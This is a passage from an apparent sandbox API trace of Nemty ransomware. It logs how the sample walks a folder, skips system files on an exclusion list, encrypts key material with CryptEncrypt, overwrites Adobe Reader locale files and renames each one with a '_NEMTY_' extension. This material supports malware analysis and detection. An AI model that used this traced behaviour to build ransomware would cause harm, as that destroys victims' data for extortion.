lpUsedDefaultChar=0x0) returned 9 [0174.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.DAN", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.DAN", lpUsedDefaultChar=0x0) returned 9 [0174.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.DAN", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0174.631] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="eBook.DAN", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eBook.DAN", lpUsedDefaultChar=0x0) returned 9 [0174.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0174.631] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0174.631] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0174.631] Sleep (dwMilliseconds=0x5) [0174.640] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bbd85d0, dwHighDateTime=0x1d561e8)) [0174.640] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bbd85d0, dwHighDateTime=0x1d561e8)) [0174.640] GetLastError () returned 0x0 [0174.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.640] GetLastError () returned 0x0 [0174.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.640] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.640] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.640] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0174.640] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="bfulR/D0CksRU9ILHcZzN+hgTM4cOiEhjZYA91d7k4XWd2/1hxpduKYo8nf3ZeKt\r\nJLrTKvPbHRKGXh0I1SLBaSfR7dTKMKtOBLWJLSBeC/CcM4HONRNIyWerQu6ToRNy\r\nlPa/tBiIVy8TDicyF+uU6x01qrzBV+6PkSm4gLf22BEkz/saRFpOCCDcpUWB4TjK\r\nQiXfES+T85jJ4AoK7E6x3KJqG3/lDbuJLhFTxp7WQS6uiXsvduISajunyfWQhX5h\r\nikXD8xZg+ch2kYZg17O6Uqw8vdAEwWlOtxe5v8Vu/jAFXIcrd5gbQcRRf5oWPwKo\r\nMIY3BmFCjSVL6NEwLmtwSA==\r\n", pcchString=0x653e5dc) returned 1 [0174.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0174.640] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.640] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\eBook.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\ebook.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.641] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=6656) returned 1 [0174.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x1a00) returned 0x6352c48 [0174.641] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.641] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x1a00, lpOverlapped=0x0) returned 1 [0174.643] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.643] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x1a00, lpOverlapped=0x0) returned 1 [0174.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.643] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=6656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1a00 [0174.643] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.643] CloseHandle (hObject=0x2e8) returned 1 [0174.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0174.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0174.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0174.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0174.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.644] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\eBook.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\ebook.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\eBook.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\ebook.dan._nemty_kgobjgd_")) returned 1 [0174.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0174.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0174.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.644] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0174.645] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="EScript.DAN", cAlternateFileName="")) returned 1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2=".") returned 1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2="..") returned 1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2="...") returned 1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2="windows") returned -1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2="rsa") returned -1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2="NTDETECT.COM") returned -1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2="ntldr") returned -1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2="MSDOS.SYS") returned -1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2="IO.SYS") returned -1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2="boot.ini") returned 1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2="boot.ini") returned 1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2="ntuser.dat") returned -1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2="desktop.ini") returned 1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2="CONFIG.SYS") returned 1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2="RECYCLER") returned -1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2="BOOTSECT.BAK") returned 1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2="bootmgr") returned 1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2="programdata") returned -1 [0174.645] lstrcmpiW (lpString1="EScript.DAN", lpString2="appdata") returned 1 [0174.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.DAN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.DAN", lpUsedDefaultChar=0x0) returned 11 [0174.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.DAN", cchWideChar=11, lpMultiByteStr=0x653e890, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.DAN", lpUsedDefaultChar=0x0) returned 11 [0174.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.645] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.DAN", cchWideChar=11, lpMultiByteStr=0x653e8e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.DAN", lpUsedDefaultChar=0x0) returned 11 [0174.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.DAN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0174.646] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="EScript.DAN", cchWideChar=11, lpMultiByteStr=0x653e918, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EScript.DAN", lpUsedDefaultChar=0x0) returned 11 [0174.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.646] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0174.646] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.646] Sleep (dwMilliseconds=0x5) [0174.655] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bbfe730, dwHighDateTime=0x1d561e8)) [0174.655] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1bbfe730, dwHighDateTime=0x1d561e8)) [0174.655] GetLastError () returned 0x0 [0174.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.655] GetLastError () returned 0x0 [0174.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.656] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.656] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.656] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.656] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="EFbPPWpZMadnkbe+X8nTxBAq5qPBiB8z0xuEtBwX1+gFKJ+QsEz7jaItsp7VLWVq\r\nd41jM3MJAB2lxxQCeBgOg0e5mQw+WYU6mBSKrgdchhhmN1e1/lt4UbwSqGVlayZ5\r\n1DhIw8ZbusglIjpThMHbAv39E2YAjVBBJbgKDSxwakdfWmq5SQQFitn9p5o3SqcW\r\nxycBpageDWbDHxUzjWHvEKm76k6IyH6V9gP6chPlqpbDLRUOEfTsSM7db/+xxVvc\r\nnyEz3Fe7Tpmqnz0jVOwGIPMf9EX7ilKCpoz2o3LJ6110p+TlzvHGQ1M8tyce/xBv\r\nan4Km/bBOkmPfwZIriYHLQ==\r\n", pcchString=0x653e5dc) returned 1 [0174.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.656] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\EScript.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\escript.dan"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.656] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=40448) returned 1 [0174.656] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x9e00) returned 0x6352c48 [0174.656] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.656] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x9e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x9e00, lpOverlapped=0x0) returned 1 [0174.660] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.660] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x9e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x9e00, lpOverlapped=0x0) returned 1 [0174.660] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.660] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=40448, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x9e00 [0174.660] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.660] CloseHandle (hObject=0x2e8) returned 1 [0174.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.666] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.666] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.666] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.666] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.666] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\EScript.DAN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\escript.dan"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\EScript.DAN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\da_dk\\escript.dan._nemty_kgobjgd_")) returned 1 [0174.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.667] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.667] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.DAN", cAlternateFileName="")) returned 1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2=".") returned 1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2="..") returned 1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2="...") returned 1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2="windows") returned -1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2="$RECYCLE.BIN") returned 1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2="rsa") returned -1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2="NTDETECT.COM") returned -1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2="ntldr") returned -1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2="MSDOS.SYS") returned -1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2="IO.SYS") returned -1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2="boot.ini") returned 1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2="boot.ini") returned 1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2="AUTOEXEC.BAT") returned 1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2="ntuser.dat") returned -1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2="desktop.ini") returned 1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2="CONFIG.SYS") returned 1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2="RECYCLER") returned -1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2="BOOTSECT.BAK") returned 1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2="bootmgr") returned 1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2="programdata") returned -1 [0174.667] lstrcmpiW (lpString1="IA32.DAN", lpString2="appdata") returned 1 [0174.667] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.DAN", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0174.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.DAN", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.DAN", lpUsedDefaultChar=0x0) returned 8 [0174.668] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.668] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.DAN", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0174.668] WideCharToMultiByte (in: CodePage=0xfde9, 